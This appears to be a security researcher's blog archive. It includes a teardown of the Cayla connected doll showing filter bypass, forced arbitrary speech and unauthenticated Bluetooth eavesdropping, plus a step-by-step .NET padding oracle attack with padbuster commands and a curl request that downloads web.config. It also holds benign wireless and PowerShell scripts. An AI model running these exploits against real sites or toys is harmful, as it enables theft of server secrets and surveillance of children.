Wednesday, November 18, 2015

Doll Hacking: The Good, The Bad(words) and the Ugly (features)


The age of internet connected toys is upon us. Increasingly, we are seeing children's toys connected to the internet, commonly through an app. I recently purchased a My Friend Cayla (http://www.myfriendcayla.com/) for uh…testing. I wanted to test the security of the device to see how safe it is for children.

In short, the toy does a good job of protecting children from inappropriate content, but any device (phone, tablet, laptop) can connect to the toy and play or record audio. That last bit scares me. The only protection against recording and arbitrary sound output is that only one device can be connected at a time. An opportunistic bad guy would only need to wait for the tablet or phone to go out of range or run out of battery.

Initial Testing

I first needed to get a basic understanding of what Cayla can do and how she works. So I turned her on, connected her to my iPad via Bluetooth, and played with the app.

She began speaking and asking questions about me and my day. She is quite friendly. I then clicked on "Go to Story Time" and was prompted to pick a story. I selected the "Botanical Garden" story and she coldly told me a story about her trip to the garden with her mom. I closed the story and went back to the main menu.

She then asked if I had any questions so I asked, “What is a chicken?” She responded with a quite detailed response:
"The chicken (Gallus gallus domesticus) is a domesticated fowl, a subspecies of the red junglefowl. As one of the most common and widespread …"

I then asked "What is SQL Injection?" and to my surprise I got a quite thorough response. How is she doing this?

Q&A Time

I assumed that Cayla did not know everything about chickens and SQL Injection and must be querying some online service. To test, I connected my iPad to my WiFi and set the proxy settings to forward the traffic to an interception proxy (Burp Suite) on my laptop so I could look at the communication. I found this:



She asks Wikipedia for information regarding my questions. She does so over a secure connection so that a bad guy cannot manipulate the request or response (GOOD!). However, I fear that the toy could access some very inappropriate articles. I asked her, "What is poop?" She told me that was an inappropriate question and didn’t answer my question. This is good! I asked lots of these types of questions and none of them made it through the filters. (Swearing at a doll is so weird).

I wondered what would happen if someone updated the text in a legitimate posting and added some inappropriate content. Instead of messing with a legitimate posting I used Clutch 2, class-dump (http://stevenygard.com/projects/class-dump/), and cyrcript (www.cycript.org/) to disable some of the filtering. I found a few methods related to the bad words with "grep badword *" and replaced the bad word checks so that bad words would not be filtered when asking Wikipedia.

DatabaseHelper->isa.messages['getBadword:'] = function() { return null;}
DatabaseHelper->isa.messages['findBadwordResult:'] = function() { return null;}

I then asked, "What is poop?". The response was not read back to me. Good!

I then asked, "What is shit?" and the Wikipedia quite inappropriate response was read back to me. Remember, the initial filtering has been disabled as I want to check if the response is filtered and it appears that it is not. (The query to Wikipedia was for "sh*t" the toy somewhat censored the query). To be fair, the likelihood of an inappropriate change in a safe posting happening and a child asking a related question before someone fixed the article is low.

The Good

The toy does a good job of censoring bad words. The manufacturer did a good job with this feature. Also, the toy does not collect information from the user (obviously, it doesn't share this info with anyone either).

The Bad(words): More Cycript & Arbitrary Speech

Clearly she has some method for text to speech. For fun I wanted to figure out how to make her say arbitrary text. I decided to look at the log to see if anything showed up that might help me accomplish this task.

Nov 18 11:47:47 Red Cayla EN-US[2635] <Warning>: TTSIvona:tts:<speak><p><s><prosody volume="x-loud" pitch="+0%">this is a story about mermaids living under the sea<break time="0.5s" /> mermaids are half person and half fish<break time="0.5s" /> they can talk to fish and breathe underwater<break time="0.5s" /> i love mermaids!</prosody></s></speak>


The method being called is TTSIvona:tts. It took me a second to realize that "tts" likely stands for "text to speach". I searched through my headers (generated with class-dump) and found a few references to "tts".

EventHandler.h:88:- (void)handleTTS:(id)arg1;
RootViewController.h:74:- (void)tts:(id)arg1;
TTSIvona.h:37:- (void)tts:(id)arg1 pitch:(float)arg2 rate:(float)arg3 tempo:(float)arg4;
TTSIvona.h:38:- (void)tts:(id)arg1;

I accessed and instance of the RootViewController via UIApp.keyWindow.rootViewController and pass a string tried to get Cayla to speak.

cy# [UIApp.keyWindow.rootViewController tts: @'this is a test']
-[__NSCFString stringValueForKey:]: unrecognized selector sent to instance 0x12af9b350

No luck.

I need figure out what to send to the method to have her say what I want. I opened up the executable (extracted with Clutch 2) in Hopper and IDA Pro and searched for the tts method in the RootViewController.



At a high level we see stringValueForKey and text. The stringValueForKey method is used to find a value in a dictionary (hash table). So I then sent the following command via cycript.

cy# [UIApp.keyWindow.rootViewController tts: @{text:'this is a test'}]

And she speaks!

Now we can control her and have her say anything we like. Since I have a jailbroken device, I could have rewritten one of her stories (/private/var/mobile/Containers/Bundle/Application/2BBF3208-87E7-4A1C-8E80-AAAFBA1420A0/Cayla EN-US.app/language/en.lproj/Story.strings) to have her speak arbitrary text. But I have to restart the app to get her to reread the changes.

I noticed in the log output (shown earlier) that there is markup for her speech and there is another method ttsEx. After looking through the function in Hopper I noticed a few parameters: pitch, rate, tempo. We can change the way she speaks to make her sound like Jigsaw.

[UIApp.keyWindow.rootViewController ttsEx:@{text:'Greetings. And welcome. I want to play a game.',pitch:-1.0, rate:-0.1}]

There is also a giggle that shows up sometimes in the log:
Nov 18 13:38:21 Red Cayla EN-US[2635] <Warning>: TTSIvona:tts:<speak><p><s><prosody volume="x-loud" pitch="+0%">i love to laugh out loud  <break time="0.2s" /><mark name='P1'/><audio src="file:///var/mobile/Containers/Bundle/Application/2BBF3208-87E7-4A1C-8E80-AAAFBA1420A0/Cayla EN-US.app/audio/wav/gig1.wav"/><mark name='P2'/> my sister likes to make funny faces at me and it always makes me laugh out loud<break time="0.5s" />i can't help it<break time="0.5s" />she's so silly sometimes.</prosody></s></speak>

I tried to add a reference directly to the file, but no luck. I then searched for "giggle" in Hopper and found "(giggle)"...and this:

Laser! Machine gun! Fart!

But sadly, none of these produced any sound. My guess is this software is the same as another toy or the developers had a lot of fun during testing.

The Ugly

The above fun can only be accomplished under very rare circumstances. There is a simpler, and possible much more nefarious attack.

The scary thing is that this toy can play ANY sound. Anyone can connect to Cayla and play sounds. The only "protection" is that only one device can be connected at a time. First, open up the bluetooth settings and connect to "My friend Cayla".



Then go to my sound preferences and change the output to "My friend Cayla".



Then load http://www.soundboard.com/sb/Poltergeist_sounds




The Uglier

The really scary thing is that you can record from the device. When recording is on, the her necklace lights up, but who is going to look at that?

Any, and I mean ANY system with Bluetooth (tablet, phone…or laptop) can connect to this device and use it as a speaker or as a remote mic. The toy is essentially a cute bluetooth headset. Anyone within range can use this toy to listen to and communicate with a kiddo. Again, the only protection here is that only one device can be connected at a time. This is not a safe mechanism to protect someone from communicating with my child. Fortunately, I live in Texas where we have a decent amount of space between houses, but in an apartment complex many people could be in range of this device and use it for nefarious purposes.

This toy can be used to listen to, and communicate with a child with no authentication required. One way to fix the remote listening and arbitrary audio output would be to require some kind of interaction with the toy to enable pairing, but sadly the toy does not do this.

Friday, March 25, 2011

Extracting Access Point Names from Packet Captures

Years ago, while working as a Network Engineer, I did a bit of sniffing of our wireless access points. I noticed that some access point, mainly Cisco, broadcast the Access Point's name. I also noticed that the same access point will use a slightly different MAC Address (BSSID) for each SSID (ESSID). Typically the last nibble (half byte), or two, changes. I thought that was interesting, and moved on.

Now that I work as a penetration tester I want to correlate those access points, so I can tell exactly how many devices there are and the MAC addressing scheme. That way I can better identify something that is out of place, like a well place rogue.

Initially I did this by hand, and by hand means: teh suck!!!1! I knew there had to be a better way to do this, so I broke out scapy. I'll walk you through the process of creating a python script that extracts all the AP' MAC addresses, along with their corresponding Name and [E]SSID (if broadcast).

Let's start by looking a packet produced by a beacon.



The packet includes the name of the access point. But how do we extract it? Let's fire up scapy and check it out.

$ scapy
Welcome to Scapy (2.1.0)
>>> pkts=rdpcap("beacon-packet.pcap")
>>> p=pkts[0]
>>> p
<Dot11 subtype=8L type=Management proto=0L FCfield= ID=0 addr1=ff:ff:ff:ff:ff:ff
addr2=00:24:c4:d3:04:65 addr3=00:24:c4:d3:04:65 SC=6432 addr4=None |<Dot11Beacon
timestamp=339645573495 beacon_interval=102 cap=short-slot+ESS+privacy+short-preamble
|<Dot11Elt ID=SSID len=11 info='MyCorpESSID' |<Dot11Elt ID=Rates len=8 info='\x82
...
|<Dot11Elt ID=133 len=30 info='\n\x00\x8f\x00\x0f\x00\xff\x03Y\x00AP3\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x006' |<Dot11Elt ID=150 len=6
info='\x00@\x96\x00\x11\x00' |<Dot11Elt ID=vendor len=6 info='\x00@\x96\x01\x01\x04'
|<Dot11Elt ID=vendor len=5 info='\x00@\x96\x03\x05' |<Dot11Elt ID=vendor len=5
info='\x00@\x96\x0b\t' |<Dot11Elt ID=vendor len=5 info='\x00@\x96\x14\x01' |<Dot11Elt
ID=vendor len=24 info="\x00P\xf2\x02\x01\x01\x80\x00\x03\xa4\x00\x00'\xa4\x00\x00
BC^\x00b2/\x00" |>>>>>>>>>>>>>>>>>>>>
>>>


The first packet in our capture is a beacon packet. It happens to contain the SSID and the AP's name. The BSSID (MAC) is really easy to extract (p.addr2). The ESSID is pretty easy to extract too (p[Dot11Elt].info). We still need to get that pesky Access Point Name, but it is nested in one of the Dot11Elt (802.11 Information Element). After trying this technique on multiple captures, at multiple sites, with multiple configurations, I found that the depth of the nested element is not consistent. This means we need to dig for it. Fortunately, we know the ID of the element that contains the AP's name, 133.

We can use this bit of code to find the property.

>>> while Dot11Elt in p:
... p = p[Dot11Elt]
... if p.ID == 133:
... print "found it: " + p.info
... p = p.payload

found it:
'\n\x00\x8f\x00\x0f\x00\xff\x03Y\x00AP3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x006'


I faked the output a bit since null and high numbered characters either don't display or display funny, but you get the point. After a bit of inspection, it appears the Name property is at offset 10 and is null terminated. We can use that to further refine our search by changing a few lines.

>>> p=pkts[0]
>>> while Dot11Elt in p:
... p = p[Dot11Elt]
... if p.ID == 133:
... ap = p.info[10:]
... ap = ap[:ap.find("\x00")]
... print "found it: " + ap
... p = p.payload

found it: AP3


This works great, but we can't extract the ESSID from a hidden network since it doesn't broadcast its SSID in the beacon. Instead, we need to look for a probe response. While where at it, let's put together the code to grab both frame types.

Here is our original beacon again:
<Dot11  subtype=8L type=Management proto=0L FCfield= ID=0 addr1=ff:ff:ff:ff:ff:ff
addr2=00:24:c4:d3:04:65 addr3=00:24:c4:d3:04:65 SC=6432 addr4=None ...


Here is the header of a probe response:
<Dot11  subtype=5L type=Management proto=0L FCfield=retry ID=14849 addr1=00:20:00:6f:ab:30
addr2=00:24:c4:d3:04:65 addr3=00:24:c4:d3:04:65 SC=63328 addr4=None


We can use that to find packets that will contain the BSSID and AP name and possibly the ESSID.

>>> for p in pkts:
... if (p.subtype == 8L or p.subtype == 5L) and p.type == 0L:
... while Dot11Elt in p:
... p = p[Dot11Elt]
... if p.ID == 133:
... ap = p.info[10:]
... ap = ap[:ap.find("\x00")]
... print "found it: " + ap
... p = p.payload
...
found it: AP3
found it: AP3
found it: AP4
found it: AP4
found it: AP2
found it: AP4
...


Now with a little extra python magic we end up with the attached script.

$ ./APNameFromPcap.py

usage: /pentest/wireless/APNameFromPcap.py [-F directory containing pcaps] [-f pcapfipe] [-e ssid]
You must provide at least provide the directory or pcap file


We can then give it one or files and/or one or more directories containing .cap, .pcap, or .dump. Here is the resulting output:

$ ./APNameFromPcap.py -f beacon-packet.pcap
00:24:c4:d3:04:65 MyCorpESSID AP3
00:24:c4:d2:d5:d1 AP4
00:24:c4:d2:d5:d5 MyCorpESSID AP4
00:24:c4:d2:23:41 AP2
00:24:c4:d2:d5:d2 AP4
...


This script writes the BSSID, ESSID, and AP Name from each beacon and probe response packet. If the output is sorted and only the unique rows are displayed we end up with this handy table.

$ ./APNameFromPcap.py -f beacon-packet.pcap | sort -u
00:24:c4:d2:1d:91 AP5
00:24:c4:d2:1d:91 PRIV AP5
00:24:c4:d2:1d:92 AP5
00:24:c4:d2:1d:95 MyCorpESSID AP5
00:24:c4:d2:23:41 AP2
00:24:c4:d2:23:42 AP2
00:24:c4:d2:23:45 MyCorpESSID AP2
00:24:c4:d2:d5:d1 AP4
00:24:c4:d2:d5:d1 PRIV AP4
00:24:c4:d2:d5:d2 AP4
00:24:c4:d2:d5:d2 Voice AP4
00:24:c4:d2:d5:d5 MyCorpESSID AP4
00:24:c4:d2:ee:c0 MyCorpESSID
00:24:c4:d3:04:61 AP3
00:24:c4:d3:04:61 PRIV AP3
00:24:c4:d3:04:62 AP3
00:24:c4:d3:04:62 Voice AP3
00:24:c4:d3:04:65 MyCorpESSID AP3


You'll notice that some MAC addresses show up twice. That's because the beacon frame from the BSSID doesn't send it ESSID, so it shows up blank, but if a probe response frame is found the ESSID is populated.

We can see that PRIV SSID usually ends in 1, MyCorpESSID ends in 5, and Voice ends in 2. In this format it is really clear that BSSID 00:24:c4:d2:ee:c0 is out of place. It doesn't send the AP's name, and doesn't follow our typical pattern. This is an access point that should be looked into, either due to misconfiguration, or as a rogue.

Correlation FTW!

Code:

This is written for Python 2.6 and may require modifications for other versions of python.

#!/usr/bin/python

import sys
import getopt
from scapy.all import *

def Usage():
print ("usage: " + sys.argv[0] + "[-F directory containing pcaps] [-f pcap file] [-e ssid] [-v]\nYou must provide at least provide the directory or pcap file\n-v shows the filename in the output")
sys.exit(2)

def GetSsidAndApName(packet):
bssid=packet.addr2
essid=''
ap=''

p = packet #.getlayer(Dot11Elt)

while Dot11Elt in p:
p = p[Dot11Elt]
if p.ID == 0:
if len(p.info) == 0 or p.info[0] == "\x00":
essid=''
else:
essid=p.info
if p.ID == 133:
ap = p.info[10:]
ap = ap[:ap.find("\x00")]
p = p.payload

return (bssid, essid, ap)

files = []
essids = []

try:
opts, args = getopt.getopt(sys.argv[1:], "f:F:e:v")
except getopt.GetoptError as err:
# print help information and exit:
print(err) # will print something like "option -a not recognized"
Usage()
sys.exit(2)

try:
verbose = False
for opt, arg in opts:
if opt == '-h':
Usage()
elif opt == '-F':
for item in os.listdir(arg):
fullpath = os.path.join(arg, item)
if os.path.isfile(fullpath) and ('.cap' in item or '.pcap' in item or '.dump' in item):
files.append(fullpath)
elif opt == '-f':
files.append(arg)
elif opt == '-e':
essids.append(arg)
elif opt == '-v':
verbose = True

if len(files) == 0:
Usage()

for f in files:
pcap = rdpcap(f)
for pckt in pcap:
if (pckt.subtype == 8L or pckt.subtype == 5L) and pckt.type == 0L:
t = GetSsidAndApName(pckt)
if not essids or t[1] in essids:
print t[0] + '\t' + t[1] + '\t' + t[2] + (('\t' + f) if verbose else '')
except Exception, e:
print e
print "Send error to: tim[at]securitywhole.com"
pass

Wednesday, October 20, 2010

.NET Padding Oracle Attack, padBuster.pl, and the Microsoft Recommended Workarounds

For some stupid reason, Whenever GoDaddy sees h t t p s : / / it turns it into a link and removes the scheme. This even happens if you edit the html manually. Because of this sillyness, I've used https:\\ below.


Since I first heard of the Padding Oracle issue, I've wanted to use it to exploit a site. I had that chance this week. Alex Lauerman and I muddled our way through this confusing (at least to me) attack scenario.


The attack is dependent on the server responding differently to an error in the decryption process vs an error in the application due to invalid data. The different response codes tells us whether or not the padding is valid or invalid. If you want to read more on the background of the issue, check out the great post over at gdssecurity.com.


Now that we have a bit of the background covered, back to the site. Upon quick inspection we saw that 404 and 500 errors are redirected to the same error page. Bantha Herders! How did we know this? The 404 result was easy to test, just request an non-existant page. To test the crypto error we found a link in the page:


/WebResource.axd?d=xxxxxxxxxxxxxxxx

...messed with it...
/WebResource.axd?d=xxxxxxxxxxxxxxxZ

...and we were redirected to the same error page.

So all errors redirect to the same page. Bummer, we can't use the status or error page to determine if the padding is invalid or not. But we can still use ScriptResource.axd to bypass all the workarounds recommended by Microsoft.


To add to the fun, the site requires authentication. We need to login and then grab our cookies for use with our attack tool. There are many ways to get the working cookies, I just used FireFox with TamperData to grap the cookies. Once cool thing I noticed, is that even if my session times out and I can no longer browse the site with my browser, I can still request the ScriptResource.axd. It seems that ScriptResource.axd does some different checking on a valid session.


So let's start our attack by beginning with Step 1: Find a valid T-Block Request (The second Step 1, not the first Step 1). We need to find a valid ScriptResource.axd link in the page source, and then we use padbuster.


$ perl padbuster.pl "https:\\site.org/dir/ScriptResource.axd?d=xxxxxxxxxxxxxxxx"
xxxxxxxxxxxxxxxx 16 -encoding 3 -bruteforce -log -verbose
-cookies "ASP.NET_SessionId=f2471ac5-e515-..."

PadBuster requires the URL (taken from the page's source), the encrypted sample (the d value), block size (16 in .NET), and the encoding (3=.NET UrlToken). The bruteforce option is used to find a valid T-Block. The verbose option is used so we can actually see when we have found a valid T-Block. When one is found you will see this:


Attempt 15 - Status: 200 - Content Length: 393
https:\\site.org/dir/ScriptResource.axd?d=DgAAAAAAAAAAAAAAAAAAAM8X6Hr6gTDN5E1DDdDehBXoKFW
TIM8UquygrlBs-oA68elaNxHtbanxz8uZusApWVWny8usel5V8b61BtSQ2PY1

Now we can use the T-Block request, along with the -prefix option, to use ScriptResource as a padding oracle. We can then decrypt the existing d parameter.


/ScriptResource.axd?d=xxxxxxxxxxxxxxxx" xxxxxxxxxxxxxxxx 16 -encoding 3 -noiv
-prefix "DgAAAAAAAAAAAAAAAAAAAM8X6Hr6gTDN5E1DDdDehBXoKFWTIM8UquygrlBs-oA68elaNxHtbanxz
8uZusApWVWny8usel5V8b61BtSQ2PY1" -cookies "ASP.NET_SessionId=f2471ac5-e515-..."

Boring, but what about downloading the web.config file? First, we need to use the oracle to encrypt "|||~/web.config". Why that string? Well, I'll (sort of) explain that later.


$ perl padbuster.pl "https:\\site.org/dir/ScriptResource.axd?d=xxxxxxxxxxxxxxxx"
xxxxxxxxxxxxxxxx 16 -encoding 3 -plaintext "|||~/web.config" -noiv
-prefix "DgAAAAAAAAAAAAAAAAAAAM8X6Hr6gTDN5E1DDdDehBXoKFWTIM8UquygrlBs-oA68elaNxHtbanxz
8uZusApWVWny8usel5V8b61BtSQ2PY1"
-cookies "ASP.NET_SessionId=f2471ac5-e515-..."

...

-------------------------------------------------------
** Finished ***

[+] Encrypted value is: BXw6OSgQhp3YdMmkBqmuXQAAAAAAAAAAAAAAAAAAAAA1
-------------------------------------------------------

So now we have the encypted version of "|||~/web.config". We can use this with our request to ScriptResource.axd to download the web.config. Now, why that string? According to mindedsecurity.com:


"The most common way to download files remotely from unpatched framework 3.5 Sp1 and 4.0 is to obtain after decryption a string similar to the one below:
  r#garbage|||~/web.config"


I'm not sure why, but I'll take their word for it. At this point we have encrypted portion of the string above, but we have to bruteforce the first block so we can get "r#gargabe".


perl padbuster.pl https:\\site.org/dir/ScriptResource.axd?d=
BXw6OSgQhp3YdMmkBqmuXQAAAAAAAAAAAAAAAAAAAAA1 BXw6OSgQhp3YdMmkBqmuXQAAAAAAAAAAAAAAAAAAAAA1 16
-verbose -encoding 3 -bruteforce -log -cookies "ASP.NET_SessionId=f2471ac5-e515-..."

It will regularly hit strings that will decrypt, but do not match the string we want (r#garbage|||~/web.config). You will see a of results like this:


Attempt 15 - Status: 200 - Content Length: 373
https:\\site.org/dir/ScriptResource.axd?d=DgAAAAAAAAAAAAAAAAAAAAV8OjkoEIa
d2TIMpAaprl0AAAAAAAAAAAAAAAAAAAAA0


Attempt 485 - Status: 200 - Content Length: 364
https:\\site.org/dir/ScriptResource.axd?d=5AABAAAAAAAAAAAAAAAAAAV8OjkoEIa
d2TIMpAaprl0AAAAAAAAAAAAAAAAAAAAA0

The web.config is significantly longer than ~370 bytes. So sit back, grab a drink, and wait. Let this bugger run for a LONG time. In my test it took over 21000 requests. I added the log option so we don't have to keep an eye on the screen. You can come back later and run this command to look for responses with a content length greater than 1000 bytes.


$ cat ActivityLog.txt | grep -E "Length: [0-9]{4,} -A 1"
Attempt 21906 - Status: 200 - Content Length: 12186
https:\\site.org/dir/ScriptResource.axd?d=kQBVAAAAAAAAAAAAAAAAAAV8OjkoEIa
d2TIMpAaprl0AAAAAAAAAAAAAAAAAAAAA0
--
Attempt 28796 - Status: 200 - Content Length: 12183
https:\\site.org/dir/ScriptResource.axd?d=ewBwAAAAAAAAAAAAAAAAAAV8OjkoEIa
d2TIMpAaprl0AAAAAAAAAAAAAAAAAAAAA0
--
Attempt 35162 - Status: 200 - Content Length: 12183
https:\\site.org/dir/ScriptResource.axd?d=WQCJAAAAAAAAAAAAAAAAAAV8OjkoEIa
d2TIMpAaprl0AAAAAAAAAAAAAAAAAAAAA0

We have a WINNER!!!!


Now to retrieve the file.
$ curl "https:\\site.org/dir/ScriptResource.axd?d=kQBVAAAAAAAAAAAAAAAAAAV8OjkoEIa
d2TIMpAaprl0AAAAAAAAAAAAAAAAAAAAA0" --insecure -H "Cookie: ASP.NET_SessionId=f2471ac5-e515-..." > web.config


The web.config file is probably gzip encoded so view it like this:


$ gunzip -c web.config

<?xml version="1.0"?>
<configuration>
<configSections>
<sectionGrou...

BOOYAH!!

Monday, March 29, 2010

Blocking Traffic from Foreign Countries - Creating a block list of Supernets using PowerShell

The following PowerShell script will create a list of supernets that are outside of the United States. The networks created by this script are intended to be used to restrict network traffic from foreign countries. The results of this script aren't perfect and aren't intended to be perfect. There is trade off between the size of the list and accuracy, and I chose to err on the side of a shorter list of networks so it would not add and extra burden to the firewall.


Here is the script:


$debug = 0


# Filter for records that aren't in the US or run by ARIN
$records = ([xml]((New-Object System.Net.WebClient).DownloadString("http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml"))).registry.record | ? {
  $_.designation -notlike "*ARIN*" -and
  $_.status -ne "LEGACY"
}


# Create array for holding supernets
$supernets = @()


# Add a property for the Binary representation of the first octet
# Add a property for holding the masked bits, used for finding the supernets
$records | % { $_ |
  Add-Member NoteProperty -Name "Bits" -Value ([Convert]::ToString($_.prefix.Split("/")[0],2)).PadLeft(8,"0") -PassThru |
  Add-Member NoteProperty -Name "MaskedBits" -Value ""
}


# $i is the current number of mask bits used for finding a supernet
for ($i=1; $i -le 8; $i++) {


  # apply the mask, set the masked bits property
  # this get the left most $i of bits
  $records | % {
    $_.MaskedBits = $_.Bits.SubString(0,$i)
  }


  if ($debug) { $numrecords = $records.count }


  # how many /$i networks does it take to fill the current supernet, /1 is 128, /2 is 64 ...
  $supernetsize = [Math]::pow(2,8-$i)


  if ($debug) { "Supernet Size: $supernetsize" }


  # if a full supernet is found, then ...
  # a "full" supernet contains all of the /8 networks to fill the supernet
  $records | group MaskedBits | ? { $_.Count -eq $supernetsize} | % {
    $group = $_


    # create the supernet object and set the properties
    $supernet = "" | Select Prefix,Bits,MaskBits,CIDR
    $supernet.Bits = $group.Name.PadRight(8, "0")
    $supernet.Prefix = [Convert]::ToByte($supernet.Bits, 2)
    $supernet.MaskBits = $i
    $supernet.CIDR = "$($supernet.Prefix).0.0.0/$($supernet.MaskBits)"


    # add the supernet to the collection of supernets
    $supernets += $supernet


    # remove the networks from the full network collection if they were just added as a supernet
    $records = $records | ? { $_.Bits.SubString(0,$i) -ne $group.Name }
  }


  if ($debug) {
    "Matching Supernets Found: $(($numrecords - $records.count)/$supernetsize)"
    $supernets | ? { $_.MaskBits -eq $i }
    "---------------------------------------------------------------------------"
  }
}


#output the results
$supernets | Sort Bits | Select Prefix,Bits,MaskBits,CIDR


Now for a bit of explanation...


As you may already know, most IPv4 addresses are controlled by ARIN (North America), APNIC (Asia Pacific), LACNIC (Latin America and Caribbean), and other similar regional internet registries (RIR). Each one controls the ip addresses for a specific portion of the world. We want to create a list of all networks that are not in the United States, and the closest approximation is the ARIN RIR. The problem is, prior to the establishment of the RIRs, some blocks of IP addresses were handed out directly to organizations (and their status is "legacy"). Most of the companies that have the legacy address spaces are US based and we will assume they are allowed.


First, we get the list of networks from IANA (Internet Assigned Numbers Authority). Our black list will contain all of the networks NOT in the US, so we filter out all of the ARIN controlled IP addresses and the addresses with a "legacy" status. The list is imported in XML format. The nice feature of the xml format is that imports the xml entities as objects, and PowerShell works best with objects. The properties of the objects are prefix, designation, date, status and xref, but we only use the status and the prefix. With these properties defined we can easily use the Where-Object cmdlet (alias ?) to filter out the "safe" address. If you wanted to block a different set of RIRs this is where you could make one simple change to better suit you.


$records = ([xml]((New-Object System.Net.WebClient).DownloadString("http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml"))).registry.record | ? {
  $_.designation -notlike "*ARIN*" -and
  $_.status -ne "LEGACY"
}


After the import and the filter, the $records variable contains all of the addresses blocks we want to blacklist. We could just quit now, but it would be nice to shorten the list. We can combine the address blocks into supernets. We start by creating a variable to hold the array of supernets.


# Create array for holding supernets
$supernets = @()


To make things easier, we can extend the object given to us from xml. Two properties are added, one to hold the bit representation of the first octet, and the second will be used for storing a masked version of those bits.


# Add a property for the Binary representation of the first octet
# Add a property for holding the masked bits, used for finding the supernets
$records | % { $_ |
  Add-Member NoteProperty -Name "Bits" -Value ([Convert]::ToString($_.prefix.Split("/")[0],2)).PadLeft(8,"0") -PassThru |
  Add-Member NoteProperty -Name "MaskedBits" -Value ""
}


The $records variable (as previously stated, contains all the networks to be blocked) is piped into the ForEach-Object cmdlet (alias %). Inside the loop we create the properties and set the Bits property. The initial value for the Masked Bits is blank since we will set that later.


Now that the object is created the way we want it, we start a For loop. The loop will go from 1 to 8, representing each bit in the octet, and it will be used for masking.


# $i is the current number of mask bits used for finding a supernet
for ($i=1; $i -le 8; $i++) {


Now to use our newly created property and set the Mask Bits on each object.


  # apply the mask, set the masked bits property
  # this get the left most $i of bits
  $records | % {
    $_.MaskedBits = $_.Bits.SubString(0,$i)
  }


The $records variable is piped into a ForEach-Object loop. Inside the loop we apply the mask. The mask takes the left most bits. When $i is one, we only look at the leftmost bit. When $i is 2, we take the two leftmost bits, and so on.


Now we need to calculate how many networks it takes to "fill" a supernet with our mask. A mask of 1 will require 128 networks to be full, a mask of 2 will require 64 networks, 3 requires 32, and so on.


  # how many /$i networks does it take to fill the current supernet, /1 is 128, /2 is 64 ...
  $supernetsize = [Math]::pow(2,8-$i)


Now we have the supernet size, so let's see if we have any full supernets.


  # if a full supernet is found, then ...
  # a "full" supernet contains all of the /8 networks to fill the supernet
  $records | group MaskedBits | ? { $_.Count -eq $supernetsize} | % {


We pipe the $records variable into Group-Object, where the grouping is done in the Masked Bits. All of the networks with matching Mask Bits will be put in a group. We then filter all groups that are full by using the Where-Object cmdlet to filter groups that have the required number of elements. If any make it through the filter they are piped into the ForEach-Object cmdlet, where we create the supernet.


    $group = $_


    # create the supernet object and set the properties
    $supernet = "" | Select Prefix,Bits,MaskBits,CIDR
    $supernet.Bits = $group.Name.PadRight(8, "0")
    $supernet.Prefix = [Convert]::ToByte($supernet.Bits, 2)
    $supernet.MaskBits = $i
    $supernet.CIDR = "$($supernet.Prefix).0.0.0/$($supernet.MaskBits)"


    # add the supernet to the collection of supernets
    $supernets += $supernet


    # remove the networks from the full network collection if they were just added as a supernet
    $records = $records | ? { $_.Bits.SubString(0,$i) -ne $group.Name }
  }
}


First we set a the $group variable equal to the current group, $_ represents the group passed into the ForEach-Object cmdlet. Next, we create a variable to hold the supernet and set the properties of the supernet. The Bits property is the masked bits, the Prefix is the decimal equivalent of the masked bits, the Mask Bits is the number of bits used in the mask, and CIDR is just a pretty version of the Prefix and the Mask Bits. For example, the fourth pass through the For loop uses four bits for the mask. It finds a full supernet matching the four leftmost bits 0101. The supernet Bits are 01010000, Prefix is 80, Masked Bits is 4, and the CIDR is 80.0.0.0/4.


The supernet is added to the collection of supernets. We then need to remove the networks in the supernet from the $records variable so we don't use them again. This is done by filtering the $records variable for all networks that match our masked bits. In the case above, we would remove all networks that start with 0101xxxx.


The loop then starts over with a slightly bigger mask which looks from smaller supernets.


All we have left to do is output the results.


#output the results
$supernets | Sort Bits | Select Prefix,Bits,MaskBits,CIDR


Results:
Prefix Bits     MaskBits CIDR
------ ----     -------- ----
     0 00000000        7 0.0.0.0/7
     2 00000010        8 2.0.0.0/8
     5 00000101        8 5.0.0.0/8
    10 00001010        8 10.0.0.0/8
    14 00001110        8 14.0.0.0/8
    23 00010111        8 23.0.0.0/8
    27 00011011        8 27.0.0.0/8
    31 00011111        8 31.0.0.0/8
    36 00100100        7 36.0.0.0/7
    39 00100111        8 39.0.0.0/8
    41 00101001        8 41.0.0.0/8
    42 00101010        8 42.0.0.0/8
    46 00101110        8 46.0.0.0/8
    49 00110001        8 49.0.0.0/8
    58 00111010        7 58.0.0.0/7
    60 00111100        7 60.0.0.0/7
    62 00111110        8 62.0.0.0/8
    77 01001101        8 77.0.0.0/8
    78 01001110        7 78.0.0.0/7
    80 01010000        4 80.0.0.0/4
   100 01100100        6 100.0.0.0/6
   104 01101000        7 104.0.0.0/7
   106 01101010        8 106.0.0.0/8
   109 01101101        8 109.0.0.0/8
   110 01101110        7 110.0.0.0/7
   112 01110000        4 112.0.0.0/4
   175 10101111        8 175.0.0.0/8
   176 10110000        5 176.0.0.0/5
   185 10111001        8 185.0.0.0/8
   186 10111010        7 186.0.0.0/7
   189 10111101        8 189.0.0.0/8
   190 10111110        8 190.0.0.0/8
   193 11000001        8 193.0.0.0/8
   194 11000010        7 194.0.0.0/7
   197 11000101        8 197.0.0.0/8
   200 11001000        6 200.0.0.0/6
   210 11010010        7 210.0.0.0/7
   212 11010100        7 212.0.0.0/7
   217 11011001        8 217.0.0.0/8
   218 11011010        7 218.0.0.0/7
   220 11011100        6 220.0.0.0/6
   224 11100000        3 224.0.0.0/3


I hope that helps.

Tuesday, February 2, 2010

Getting registry last write time with PowerShell

All registry keys have a value associated with called the Last Write Time. This is analogous to the last modification time for a file. When ever the registry key or one if its values has been created, modified, or deleted the value is updated to the current local system time. Unfortunately, there is no Last Write Time associated with a registry value, but it can be infered from the Last Write Time of the key.


Here is a PowerShell script to read the Last Write Time for a registry key.


Usage:

Get-RegKeyLastWriteTime.ps1 <Key> <SubKey>

Example:

Get-RegKeyLastWriteTime.ps1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion

Output:


Key                         LastWriteTime
--- -------------
AdminDebug 10/28/2009 7:50:51 PM
App Management 7/14/2009 4:41:12 AM
App Paths 1/22/2010 2:07:18 PM
Applets 7/14/2009 4:41:12 AM
Audio 7/14/2009 4:41:12 AM
Authentication 7/14/2009 4:41:12 AM
